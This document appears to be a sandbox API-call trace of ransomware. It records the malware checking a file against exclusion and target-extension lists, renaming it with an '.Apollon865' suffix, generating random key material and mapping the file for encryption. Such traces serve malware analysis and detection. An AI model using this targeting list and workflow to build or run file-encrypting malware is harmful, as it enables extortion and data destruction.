	[0046.790] lstrcmpiW (lpString1="RecordedTV.library-ms", lpString2="ntuser.dat") returned 1
	[0046.790] lstrcmpiW (lpString1="RecordedTV.library-ms", lpString2="perflogs") returned 1
	[0046.790] lstrcmpiW (lpString1="RecordedTV.library-ms", lpString2="MSBuild") returned 1
	[0046.790] lstrlenW (lpString="RecordedTV.library-ms") returned 21
	[0046.790] lstrlenW (lpString="C:\\Users\\Public\\Libraries\\desktop.ini") returned 37
	[0046.790] lstrcpyW (in: lpString1=0x119e63c, lpString2="RecordedTV.library-ms" | out: lpString1="RecordedTV.library-ms") returned="RecordedTV.library-ms"
	[0046.790] lstrlenW (lpString="RecordedTV.library-ms") returned 21
	[0046.790] lstrlenW (lpString="Apollon865") returned 10
	[0046.790] lstrcmpiW (lpString1="library-ms", lpString2="Apollon865") returned 1
	[0046.790] lstrlenW (lpString=".dll") returned 4
	[0046.790] lstrcmpiW (lpString1="RecordedTV.library-ms", lpString2=".dll") returned 1
	[0046.790] lstrlenW (lpString=".lnk") returned 4
	[0046.790] lstrcmpiW (lpString1="RecordedTV.library-ms", lpString2=".lnk") returned 1
	[0046.790] lstrlenW (lpString=".ini") returned 4
	[0046.790] lstrcmpiW (lpString1="RecordedTV.library-ms", lpString2=".ini") returned 1
	[0046.790] lstrlenW (lpString=".sys") returned 4
	[0046.790] lstrcmpiW (lpString1="RecordedTV.library-ms", lpString2=".sys") returned 1
	[0046.790] lstrlenW (lpString="RecordedTV.library-ms") returned 21
	[0046.790] lstrlenW (lpString="bak") returned 3
	[0046.790] lstrcmpiW (lpString1="-ms", lpString2="bak") returned 1
	[0046.790] lstrlenW (lpString="ba_") returned 3
	[0046.790] lstrcmpiW (lpString1="-ms", lpString2="ba_") returned 1
	[0046.790] lstrlenW (lpString="dbb") returned 3
	[0046.790] lstrcmpiW (lpString1="-ms", lpString2="dbb") returned 1
	[0046.790] lstrlenW (lpString="vmdk") returned 4
	[0046.790] lstrcmpiW (lpString1="y-ms", lpString2="vmdk") returned 1
	[0046.790] lstrlenW (lpString="rar") returned 3
	[0046.790] lstrcmpiW (lpString1="-ms", lpString2="rar") returned -1
	[0046.790] lstrlenW (lpString="zip") returned 3
	[0046.790] lstrcmpiW (lpString1="-ms", lpString2="zip") returned -1
	[0046.790] lstrlenW (lpString="tgz") returned 3
	[0046.790] lstrcmpiW (lpString1="-ms", lpString2="tgz") returned -1
	[0046.790] lstrlenW (lpString="vbox") returned 4
	[0046.790] lstrcmpiW (lpString1="y-ms", lpString2="vbox") returned 1
	[0046.790] lstrlenW (lpString="vdi") returned 3
	[0046.791] lstrcmpiW (lpString1="-ms", lpString2="vdi") returned -1
	[0046.791] lstrlenW (lpString="vhd") returned 3
	[0046.791] lstrcmpiW (lpString1="-ms", lpString2="vhd") returned -1
	[0046.791] lstrlenW (lpString="vhdx") returned 4
	[0046.791] lstrcmpiW (lpString1="y-ms", lpString2="vhdx") returned 1
	[0046.791] lstrlenW (lpString="avhd") returned 4
	[0046.791] lstrcmpiW (lpString1="y-ms", lpString2="avhd") returned 1
	[0046.791] lstrlenW (lpString="db") returned 2
	[0046.791] lstrcmpiW (lpString1="ms", lpString2="db") returned 1
	[0046.791] lstrlenW (lpString="db2") returned 3
	[0046.791] lstrcmpiW (lpString1="-ms", lpString2="db2") returned 1
	[0046.791] lstrlenW (lpString="db3") returned 3
	[0046.791] lstrcmpiW (lpString1="-ms", lpString2="db3") returned 1
	[0046.791] lstrlenW (lpString="dbf") returned 3
	[0046.791] lstrcmpiW (lpString1="-ms", lpString2="dbf") returned 1
	[0046.791] lstrlenW (lpString="mdf") returned 3
	[0046.791] lstrcmpiW (lpString1="-ms", lpString2="mdf") returned 1
	[0046.791] lstrlenW (lpString="mdb") returned 3
	[0046.791] lstrcmpiW (lpString1="-ms", lpString2="mdb") returned 1
	[0046.791] lstrlenW (lpString="sql") returned 3
	[0046.791] lstrcmpiW (lpString1="-ms", lpString2="sql") returned -1
	[0046.791] lstrlenW (lpString="sqlite") returned 6
	[0046.791] lstrcmpiW (lpString1="ary-ms", lpString2="sqlite") returned -1
	[0046.791] lstrlenW (lpString="sqlite3") returned 7
	[0046.791] lstrcmpiW (lpString1="rary-ms", lpString2="sqlite3") returned -1
	[0046.791] lstrlenW (lpString="sqlitedb") returned 8
	[0046.791] lstrcmpiW (lpString1="brary-ms", lpString2="sqlitedb") returned -1
	[0046.791] lstrlenW (lpString="xml") returned 3
	[0046.791] lstrcmpiW (lpString1="-ms", lpString2="xml") returned -1
	[0046.791] lstrlenW (lpString="$er") returned 3
	[0046.791] lstrcmpiW (lpString1="-ms", lpString2="$er") returned 1
	[0046.791] lstrlenW (lpString="4dd") returned 3
	[0046.791] lstrcmpiW (lpString1="-ms", lpString2="4dd") returned 1
	[0046.791] lstrlenW (lpString="4dl") returned 3
	[0046.792] lstrcmpiW (lpString1="-ms", lpString2="4dl") returned 1
	[0046.792] lstrlenW (lpString="^^^") returned 3
	[0046.792] lstrcmpiW (lpString1="-ms", lpString2="^^^") returned 1
	[0046.792] lstrlenW (lpString="abs") returned 3
	[0046.792] lstrcmpiW (lpString1="-ms", lpString2="abs") returned 1
	[0046.792] lstrlenW (lpString="abx") returned 3
	[0046.792] lstrcmpiW (lpString1="-ms", lpString2="abx") returned 1
	[0046.792] lstrlenW (lpString="accdb") returned 5
	[0046.792] lstrcmpiW (lpString1="ry-ms", lpString2="accdb") returned 1
	[0046.792] lstrlenW (lpString="accdc") returned 5
	[0046.792] lstrcmpiW (lpString1="ry-ms", lpString2="accdc") returned 1
	[0046.792] lstrlenW (lpString="accde") returned 5
	[0046.792] lstrcmpiW (lpString1="ry-ms", lpString2="accde") returned 1
	[0046.792] lstrlenW (lpString="accdr") returned 5
	[0046.792] lstrcmpiW (lpString1="ry-ms", lpString2="accdr") returned 1
	[0046.792] lstrlenW (lpString="accdt") returned 5
	[0046.792] lstrcmpiW (lpString1="ry-ms", lpString2="accdt") returned 1
	[0046.792] lstrlenW (lpString="accdw") returned 5
	[0046.792] lstrcmpiW (lpString1="ry-ms", lpString2="accdw") returned 1
	[0046.792] lstrlenW (lpString="accft") returned 5
	[0046.792] lstrcmpiW (lpString1="ry-ms", lpString2="accft") returned 1
	[0046.792] lstrlenW (lpString="adb") returned 3
	[0046.792] lstrcmpiW (lpString1="-ms", lpString2="adb") returned 1
	[0046.792] lstrlenW (lpString="adb") returned 3
	[0046.792] lstrcmpiW (lpString1="-ms", lpString2="adb") returned 1
	[0046.792] lstrlenW (lpString="ade") returned 3
	[0046.792] lstrcmpiW (lpString1="-ms", lpString2="ade") returned 1
	[0046.792] lstrlenW (lpString="adf") returned 3
	[0046.792] lstrcmpiW (lpString1="-ms", lpString2="adf") returned 1
	[0046.792] lstrlenW (lpString="adn") returned 3
	[0046.792] lstrcmpiW (lpString1="-ms", lpString2="adn") returned 1
	[0046.792] lstrlenW (lpString="adp") returned 3
	[0046.792] lstrcmpiW (lpString1="-ms", lpString2="adp") returned 1
	[0046.792] lstrlenW (lpString="alf") returned 3
	[0046.793] lstrcmpiW (lpString1="-ms", lpString2="alf") returned 1
	[0046.793] lstrlenW (lpString="ask") returned 3
	[0046.793] lstrcmpiW (lpString1="-ms", lpString2="ask") returned 1
	[0046.793] lstrlenW (lpString="btr") returned 3
	[0046.793] lstrcmpiW (lpString1="-ms", lpString2="btr") returned 1
	[0046.793] lstrlenW (lpString="cat") returned 3
	[0046.793] lstrcmpiW (lpString1="-ms", lpString2="cat") returned 1
	[0046.793] lstrlenW (lpString="cdb") returned 3
	[0046.793] lstrcmpiW (lpString1="-ms", lpString2="cdb") returned 1
	[0046.793] lstrlenW (lpString="ckp") returned 3
	[0046.793] lstrcmpiW (lpString1="-ms", lpString2="ckp") returned 1
	[0046.793] lstrlenW (lpString="cma") returned 3
	[0046.793] lstrcmpiW (lpString1="-ms", lpString2="cma") returned 1
	[0046.793] lstrlenW (lpString="cpd") returned 3
	[0046.793] lstrcmpiW (lpString1="-ms", lpString2="cpd") returned 1
	[0046.793] lstrlenW (lpString="dacpac") returned 6
	[0046.793] lstrcmpiW (lpString1="ary-ms", lpString2="dacpac") returned -1
	[0046.793] lstrlenW (lpString="dad") returned 3
	[0046.793] lstrcmpiW (lpString1="-ms", lpString2="dad") returned 1
	[0046.793] lstrlenW (lpString="dadiagrams") returned 10
	[0046.793] lstrcmpiW (lpString1="library-ms", lpString2="dadiagrams") returned 1
	[0046.793] lstrlenW (lpString="daschema") returned 8
	[0046.793] lstrcmpiW (lpString1="brary-ms", lpString2="daschema") returned -1
	[0046.793] lstrlenW (lpString="db-journal") returned 10
	[0046.793] lstrcmpiW (lpString1="library-ms", lpString2="db-journal") returned 1
	[0046.793] lstrlenW (lpString="db-shm") returned 6
	[0046.793] lstrcmpiW (lpString1="ary-ms", lpString2="db-shm") returned -1
	[0046.793] lstrlenW (lpString="db-wal") returned 6
	[0046.793] lstrcmpiW (lpString1="ary-ms", lpString2="db-wal") returned -1
	[0046.793] lstrlenW (lpString="dbc") returned 3
	[0046.793] lstrcmpiW (lpString1="-ms", lpString2="dbc") returned 1
	[0046.793] lstrlenW (lpString="dbs") returned 3
	[0046.793] lstrcmpiW (lpString1="-ms", lpString2="dbs") returned 1
	[0046.793] lstrlenW (lpString="dbt") returned 3
	[0046.794] lstrcmpiW (lpString1="-ms", lpString2="dbt") returned 1
	[0046.794] lstrlenW (lpString="dbv") returned 3
	[0046.794] lstrcmpiW (lpString1="-ms", lpString2="dbv") returned 1
	[0046.794] lstrlenW (lpString="dbx") returned 3
	[0046.794] lstrcmpiW (lpString1="-ms", lpString2="dbx") returned 1
	[0046.794] lstrlenW (lpString="dcb") returned 3
	[0046.794] lstrcmpiW (lpString1="-ms", lpString2="dcb") returned 1
	[0046.794] lstrlenW (lpString="dct") returned 3
	[0046.794] lstrcmpiW (lpString1="-ms", lpString2="dct") returned 1
	[0046.794] lstrlenW (lpString="dcx") returned 3
	[0046.794] lstrcmpiW (lpString1="-ms", lpString2="dcx") returned 1
	[0046.794] lstrlenW (lpString="ddl") returned 3
	[0046.794] lstrcmpiW (lpString1="-ms", lpString2="ddl") returned 1
	[0046.794] lstrlenW (lpString="dlis") returned 4
	[0046.794] lstrcmpiW (lpString1="y-ms", lpString2="dlis") returned 1
	[0046.794] lstrlenW (lpString="dp1") returned 3
	[0046.794] lstrcmpiW (lpString1="-ms", lpString2="dp1") returned 1
	[0046.794] lstrlenW (lpString="dqy") returned 3
	[0046.794] lstrcmpiW (lpString1="-ms", lpString2="dqy") returned 1
	[0046.794] lstrlenW (lpString="dsk") returned 3
	[0046.794] lstrcmpiW (lpString1="-ms", lpString2="dsk") returned 1
	[0046.794] lstrlenW (lpString="dsn") returned 3
	[0046.794] lstrcmpiW (lpString1="-ms", lpString2="dsn") returned 1
	[0046.794] lstrlenW (lpString="dtsx") returned 4
	[0046.794] lstrcmpiW (lpString1="y-ms", lpString2="dtsx") returned 1
	[0046.794] lstrlenW (lpString="dxl") returned 3
	[0046.794] lstrcmpiW (lpString1="-ms", lpString2="dxl") returned 1
	[0046.794] lstrlenW (lpString="eco") returned 3
	[0046.794] lstrcmpiW (lpString1="-ms", lpString2="eco") returned 1
	[0046.794] lstrlenW (lpString="ecx") returned 3
	[0046.794] lstrcmpiW (lpString1="-ms", lpString2="ecx") returned 1
	[0046.794] lstrlenW (lpString="edb") returned 3
	[0046.794] lstrcmpiW (lpString1="-ms", lpString2="edb") returned 1
	[0046.794] lstrlenW (lpString="epim") returned 4
	[0046.794] lstrcmpiW (lpString1="y-ms", lpString2="epim") returned 1
	[0046.795] lstrlenW (lpString="fcd") returned 3
	[0046.795] lstrcmpiW (lpString1="-ms", lpString2="fcd") returned 1
	[0046.795] lstrlenW (lpString="fdb") returned 3
	[0046.795] lstrcmpiW (lpString1="-ms", lpString2="fdb") returned 1
	[0046.795] lstrlenW (lpString="fic") returned 3
	[0046.795] lstrcmpiW (lpString1="-ms", lpString2="fic") returned 1
	[0046.795] lstrlenW (lpString="flexolibrary") returned 12
	[0046.795] lstrcmpiW (lpString1="V.library-ms", lpString2="flexolibrary") returned 1
	[0046.795] lstrlenW (lpString="fm5") returned 3
	[0046.795] lstrcmpiW (lpString1="-ms", lpString2="fm5") returned 1
	[0046.795] lstrlenW (lpString="fmp") returned 3
	[0046.795] lstrcmpiW (lpString1="-ms", lpString2="fmp") returned 1
	[0046.795] lstrlenW (lpString="fmp12") returned 5
	[0046.795] lstrcmpiW (lpString1="ry-ms", lpString2="fmp12") returned 1
	[0046.795] lstrlenW (lpString="fmpsl") returned 5
	[0046.795] lstrcmpiW (lpString1="ry-ms", lpString2="fmpsl") returned 1
	[0046.795] lstrlenW (lpString="fol") returned 3
	[0046.795] lstrcmpiW (lpString1="-ms", lpString2="fol") returned 1
	[0046.795] lstrlenW (lpString="fp3") returned 3
	[0046.795] lstrcmpiW (lpString1="-ms", lpString2="fp3") returned 1
	[0046.795] lstrlenW (lpString="fp4") returned 3
	[0046.795] lstrcmpiW (lpString1="-ms", lpString2="fp4") returned 1
	[0046.795] lstrlenW (lpString="fp5") returned 3
	[0046.795] lstrcmpiW (lpString1="-ms", lpString2="fp5") returned 1
	[0046.795] lstrlenW (lpString="fp7") returned 3
	[0046.795] lstrcmpiW (lpString1="-ms", lpString2="fp7") returned 1
	[0046.795] lstrlenW (lpString="fpt") returned 3
	[0046.795] lstrcmpiW (lpString1="-ms", lpString2="fpt") returned 1
	[0046.795] lstrlenW (lpString="frm") returned 3
	[0046.795] lstrcmpiW (lpString1="-ms", lpString2="frm") returned 1
	[0046.795] lstrlenW (lpString="gdb") returned 3
	[0046.795] lstrcmpiW (lpString1="-ms", lpString2="gdb") returned 1
	[0046.795] lstrlenW (lpString="gdb") returned 3
	[0046.796] lstrcmpiW (lpString1="-ms", lpString2="gdb") returned 1
	[0046.796] lstrlenW (lpString="grdb") returned 4
	[0046.796] lstrcmpiW (lpString1="y-ms", lpString2="grdb") returned 1
	[0046.796] lstrlenW (lpString="gwi") returned 3
	[0046.796] lstrcmpiW (lpString1="-ms", lpString2="gwi") returned 1
	[0046.796] lstrlenW (lpString="hdb") returned 3
	[0046.796] lstrcmpiW (lpString1="-ms", lpString2="hdb") returned 1
	[0046.796] lstrlenW (lpString="his") returned 3
	[0046.796] lstrcmpiW (lpString1="-ms", lpString2="his") returned 1
	[0046.796] lstrlenW (lpString="ib") returned 2
	[0046.796] lstrcmpiW (lpString1="ms", lpString2="ib") returned 1
	[0046.796] lstrlenW (lpString="idb") returned 3
	[0046.796] lstrcmpiW (lpString1="-ms", lpString2="idb") returned 1
	[0046.796] lstrlenW (lpString="ihx") returned 3
	[0046.796] lstrcmpiW (lpString1="-ms", lpString2="ihx") returned 1
	[0046.796] lstrlenW (lpString="itdb") returned 4
	[0046.796] lstrcmpiW (lpString1="y-ms", lpString2="itdb") returned 1
	[0046.796] lstrlenW (lpString="itw") returned 3
	[0046.796] lstrcmpiW (lpString1="-ms", lpString2="itw") returned 1
	[0046.796] lstrlenW (lpString="jet") returned 3
	[0046.796] lstrcmpiW (lpString1="-ms", lpString2="jet") returned 1
	[0046.796] lstrlenW (lpString="jtx") returned 3
	[0046.796] lstrcmpiW (lpString1="-ms", lpString2="jtx") returned 1
	[0046.796] lstrlenW (lpString="kdb") returned 3
	[0046.796] lstrcmpiW (lpString1="-ms", lpString2="kdb") returned 1
	[0046.796] lstrlenW (lpString="kexi") returned 4
	[0046.796] lstrcmpiW (lpString1="y-ms", lpString2="kexi") returned 1
	[0046.796] lstrlenW (lpString="kexic") returned 5
	[0046.796] lstrcmpiW (lpString1="ry-ms", lpString2="kexic") returned 1
	[0046.796] lstrlenW (lpString="kexis") returned 5
	[0046.796] lstrcmpiW (lpString1="ry-ms", lpString2="kexis") returned 1
	[0046.796] lstrlenW (lpString="lgc") returned 3
	[0046.796] lstrcmpiW (lpString1="-ms", lpString2="lgc") returned 1
	[0046.796] lstrlenW (lpString="lwx") returned 3
	[0046.796] lstrcmpiW (lpString1="-ms", lpString2="lwx") returned 1
	[0046.797] lstrlenW (lpString="maf") returned 3
	[0046.797] lstrcmpiW (lpString1="-ms", lpString2="maf") returned 1
	[0046.797] lstrlenW (lpString="maq") returned 3
	[0046.797] lstrcmpiW (lpString1="-ms", lpString2="maq") returned 1
	[0046.797] lstrlenW (lpString="mar") returned 3
	[0046.797] lstrcmpiW (lpString1="-ms", lpString2="mar") returned 1
	[0046.797] lstrlenW (lpString="marshal") returned 7
	[0046.797] lstrcmpiW (lpString1="rary-ms", lpString2="marshal") returned 1
	[0046.797] lstrlenW (lpString="mas") returned 3
	[0046.797] lstrcmpiW (lpString1="-ms", lpString2="mas") returned 1
	[0046.797] lstrlenW (lpString="mav") returned 3
	[0046.797] lstrcmpiW (lpString1="-ms", lpString2="mav") returned 1
	[0046.797] lstrlenW (lpString="maw") returned 3
	[0046.797] lstrcmpiW (lpString1="-ms", lpString2="maw") returned 1
	[0046.797] lstrlenW (lpString="mdbhtml") returned 7
	[0046.797] lstrcmpiW (lpString1="rary-ms", lpString2="mdbhtml") returned 1
	[0046.797] lstrlenW (lpString="mdn") returned 3
	[0046.797] lstrcmpiW (lpString1="-ms", lpString2="mdn") returned 1
	[0046.797] lstrlenW (lpString="mdt") returned 3
	[0046.797] lstrcmpiW (lpString1="-ms", lpString2="mdt") returned 1
	[0046.797] lstrlenW (lpString="mfd") returned 3
	[0046.797] lstrcmpiW (lpString1="-ms", lpString2="mfd") returned 1
	[0046.797] lstrlenW (lpString="mpd") returned 3
	[0046.797] lstrcmpiW (lpString1="-ms", lpString2="mpd") returned 1
	[0046.797] lstrlenW (lpString="mrg") returned 3
	[0046.797] lstrcmpiW (lpString1="-ms", lpString2="mrg") returned 1
	[0046.797] lstrlenW (lpString="mud") returned 3
	[0046.797] lstrcmpiW (lpString1="-ms", lpString2="mud") returned -1
	[0046.797] lstrlenW (lpString="mwb") returned 3
	[0046.797] lstrcmpiW (lpString1="-ms", lpString2="mwb") returned -1
	[0046.797] lstrlenW (lpString="myd") returned 3
	[0046.797] lstrcmpiW (lpString1="-ms", lpString2="myd") returned -1
	[0046.797] lstrlenW (lpString="ndf") returned 3
	[0046.797] lstrcmpiW (lpString1="-ms", lpString2="ndf") returned -1
	[0046.798] lstrlenW (lpString="nnt") returned 3
	[0046.798] lstrcmpiW (lpString1="-ms", lpString2="nnt") returned -1
	[0046.798] lstrlenW (lpString="nrmlib") returned 6
	[0046.798] lstrcmpiW (lpString1="ary-ms", lpString2="nrmlib") returned -1
	[0046.798] lstrlenW (lpString="ns2") returned 3
	[0046.798] lstrcmpiW (lpString1="-ms", lpString2="ns2") returned -1
	[0046.798] lstrlenW (lpString="ns3") returned 3
	[0046.798] lstrcmpiW (lpString1="-ms", lpString2="ns3") returned -1
	[0046.798] lstrlenW (lpString="ns4") returned 3
	[0046.798] lstrcmpiW (lpString1="-ms", lpString2="ns4") returned -1
	[0046.798] lstrlenW (lpString="nsf") returned 3
	[0046.798] lstrcmpiW (lpString1="-ms", lpString2="nsf") returned -1
	[0046.798] lstrlenW (lpString="nv") returned 2
	[0046.798] lstrcmpiW (lpString1="ms", lpString2="nv") returned -1
	[0046.798] lstrlenW (lpString="nv2") returned 3
	[0046.798] lstrcmpiW (lpString1="-ms", lpString2="nv2") returned -1
	[0046.798] lstrlenW (lpString="nwdb") returned 4
	[0046.798] lstrcmpiW (lpString1="y-ms", lpString2="nwdb") returned 1
	[0046.798] lstrlenW (lpString="nyf") returned 3
	[0046.798] lstrcmpiW (lpString1="-ms", lpString2="nyf") returned -1
	[0046.798] lstrlenW (lpString="odb") returned 3
	[0046.798] lstrcmpiW (lpString1="-ms", lpString2="odb") returned -1
	[0046.798] lstrlenW (lpString="odb") returned 3
	[0046.798] lstrcmpiW (lpString1="-ms", lpString2="odb") returned -1
	[0046.798] lstrlenW (lpString="oqy") returned 3
	[0046.798] lstrcmpiW (lpString1="-ms", lpString2="oqy") returned -1
	[0046.798] lstrlenW (lpString="ora") returned 3
	[0046.798] lstrcmpiW (lpString1="-ms", lpString2="ora") returned -1
	[0046.798] lstrlenW (lpString="orx") returned 3
	[0046.798] lstrcmpiW (lpString1="-ms", lpString2="orx") returned -1
	[0046.798] lstrlenW (lpString="owc") returned 3
	[0046.798] lstrcmpiW (lpString1="-ms", lpString2="owc") returned -1
	[0046.798] lstrlenW (lpString="p96") returned 3
	[0046.798] lstrcmpiW (lpString1="-ms", lpString2="p96") returned -1
	[0046.798] lstrlenW (lpString="p97") returned 3
	[0046.799] lstrcmpiW (lpString1="-ms", lpString2="p97") returned -1
	[0046.799] lstrlenW (lpString="pan") returned 3
	[0046.799] lstrcmpiW (lpString1="-ms", lpString2="pan") returned -1
	[0046.799] lstrlenW (lpString="pdb") returned 3
	[0046.799] lstrcmpiW (lpString1="-ms", lpString2="pdb") returned -1
	[0046.799] lstrlenW (lpString="pdm") returned 3
	[0046.799] lstrcmpiW (lpString1="-ms", lpString2="pdm") returned -1
	[0046.799] lstrlenW (lpString="pnz") returned 3
	[0046.799] lstrcmpiW (lpString1="-ms", lpString2="pnz") returned -1
	[0046.799] lstrlenW (lpString="qry") returned 3
	[0046.799] lstrcmpiW (lpString1="-ms", lpString2="qry") returned -1
	[0046.799] lstrlenW (lpString="qvd") returned 3
	[0046.799] lstrcmpiW (lpString1="-ms", lpString2="qvd") returned -1
	[0046.799] lstrlenW (lpString="rbf") returned 3
	[0046.799] lstrcmpiW (lpString1="-ms", lpString2="rbf") returned -1
	[0046.799] lstrlenW (lpString="rctd") returned 4
	[0046.799] lstrcmpiW (lpString1="y-ms", lpString2="rctd") returned 1
	[0046.799] lstrlenW (lpString="rod") returned 3
	[0046.799] lstrcmpiW (lpString1="-ms", lpString2="rod") returned -1
	[0046.799] lstrlenW (lpString="rodx") returned 4
	[0046.799] lstrcmpiW (lpString1="y-ms", lpString2="rodx") returned 1
	[0046.799] lstrlenW (lpString="rpd") returned 3
	[0046.799] lstrcmpiW (lpString1="-ms", lpString2="rpd") returned -1
	[0046.799] lstrlenW (lpString="rsd") returned 3
	[0046.799] lstrcmpiW (lpString1="-ms", lpString2="rsd") returned -1
	[0046.799] lstrlenW (lpString="sas7bdat") returned 8
	[0046.799] lstrcmpiW (lpString1="brary-ms", lpString2="sas7bdat") returned -1
	[0046.799] lstrlenW (lpString="sbf") returned 3
	[0046.799] lstrcmpiW (lpString1="-ms", lpString2="sbf") returned -1
	[0046.799] lstrlenW (lpString="scx") returned 3
	[0046.799] lstrcmpiW (lpString1="-ms", lpString2="scx") returned -1
	[0046.799] lstrlenW (lpString="sdb") returned 3
	[0046.799] lstrcmpiW (lpString1="-ms", lpString2="sdb") returned -1
	[0046.799] lstrlenW (lpString="sdc") returned 3
	[0046.799] lstrcmpiW (lpString1="-ms", lpString2="sdc") returned -1
	[0046.800] lstrlenW (lpString="sdf") returned 3
	[0046.800] lstrcmpiW (lpString1="-ms", lpString2="sdf") returned -1
	[0046.800] lstrlenW (lpString="sis") returned 3
	[0046.800] lstrcmpiW (lpString1="-ms", lpString2="sis") returned -1
	[0046.800] lstrlenW (lpString="spq") returned 3
	[0046.800] lstrcmpiW (lpString1="-ms", lpString2="spq") returned -1
	[0046.800] lstrlenW (lpString="te") returned 2
	[0046.800] lstrcmpiW (lpString1="ms", lpString2="te") returned -1
	[0046.800] lstrlenW (lpString="teacher") returned 7
	[0046.800] lstrcmpiW (lpString1="rary-ms", lpString2="teacher") returned -1
	[0046.800] lstrlenW (lpString="tmd") returned 3
	[0046.800] lstrcmpiW (lpString1="-ms", lpString2="tmd") returned -1
	[0046.800] lstrlenW (lpString="tps") returned 3
	[0046.800] lstrcmpiW (lpString1="-ms", lpString2="tps") returned -1
	[0046.800] lstrlenW (lpString="trc") returned 3
	[0046.800] lstrcmpiW (lpString1="-ms", lpString2="trc") returned -1
	[0046.800] lstrlenW (lpString="trc") returned 3
	[0046.800] lstrcmpiW (lpString1="-ms", lpString2="trc") returned -1
	[0046.800] lstrlenW (lpString="trm") returned 3
	[0046.800] lstrcmpiW (lpString1="-ms", lpString2="trm") returned -1
	[0046.800] lstrlenW (lpString="udb") returned 3
	[0046.800] lstrcmpiW (lpString1="-ms", lpString2="udb") returned -1
	[0046.800] lstrlenW (lpString="udl") returned 3
	[0046.800] lstrcmpiW (lpString1="-ms", lpString2="udl") returned -1
	[0046.800] lstrlenW (lpString="usr") returned 3
	[0046.800] lstrcmpiW (lpString1="-ms", lpString2="usr") returned -1
	[0046.800] lstrlenW (lpString="v12") returned 3
	[0046.800] lstrcmpiW (lpString1="-ms", lpString2="v12") returned -1
	[0046.800] lstrlenW (lpString="vis") returned 3
	[0046.800] lstrcmpiW (lpString1="-ms", lpString2="vis") returned -1
	[0046.800] lstrlenW (lpString="vpd") returned 3
	[0046.801] lstrcmpiW (lpString1="-ms", lpString2="vpd") returned -1
	[0046.801] lstrlenW (lpString="vvv") returned 3
	[0046.801] lstrcmpiW (lpString1="-ms", lpString2="vvv") returned -1
	[0046.801] lstrlenW (lpString="wdb") returned 3
	[0046.801] lstrcmpiW (lpString1="-ms", lpString2="wdb") returned -1
	[0046.801] lstrlenW (lpString="wmdb") returned 4
	[0046.801] lstrcmpiW (lpString1="y-ms", lpString2="wmdb") returned 1
	[0046.801] lstrlenW (lpString="wrk") returned 3
	[0046.801] lstrcmpiW (lpString1="-ms", lpString2="wrk") returned -1
	[0046.801] lstrlenW (lpString="xdb") returned 3
	[0046.801] lstrcmpiW (lpString1="-ms", lpString2="xdb") returned -1
	[0046.801] lstrlenW (lpString="xld") returned 3
	[0046.801] lstrcmpiW (lpString1="-ms", lpString2="xld") returned -1
	[0046.801] lstrlenW (lpString="xmlff") returned 5
	[0046.801] lstrcmpiW (lpString1="ry-ms", lpString2="xmlff") returned -1
	[0046.801] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms.Apollon865") returned 58
	[0046.801] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms" (normalized: "c:\\users\\public\\libraries\\recordedtv.library-ms"), lpNewFileName="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms.Apollon865" (normalized: "c:\\users\\public\\libraries\\recordedtv.library-ms.apollon865"), dwFlags=0x1) returned 1
	[0046.802] CreateFileW (lpFileName="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms.Apollon865" (normalized: "c:\\users\\public\\libraries\\recordedtv.library-ms.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0046.802] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=876) returned 1
	[0046.802] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0046.802] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0046.802] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0046.802] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf788) returned 1
	[0046.803] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0046.803] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0046.803] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x670, lpName=0x0) returned 0x160
	[0046.805] MapViewOfFile (hFileMappingObject=0x160, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x670) returned 0x120000
	[0046.805] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf788) returned 1
	[0046.806] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0046.806] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0046.806] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0046.806] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0046.806] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0046.806] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0046.806] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0046.806] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0046.806] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5aa3c8
	[0046.806] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0046.806] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aa3c8 | out: hHeap=0x580000) returned 1
	[0046.806] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0046.806] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0046.807] CloseHandle (hObject=0x160) returned 1
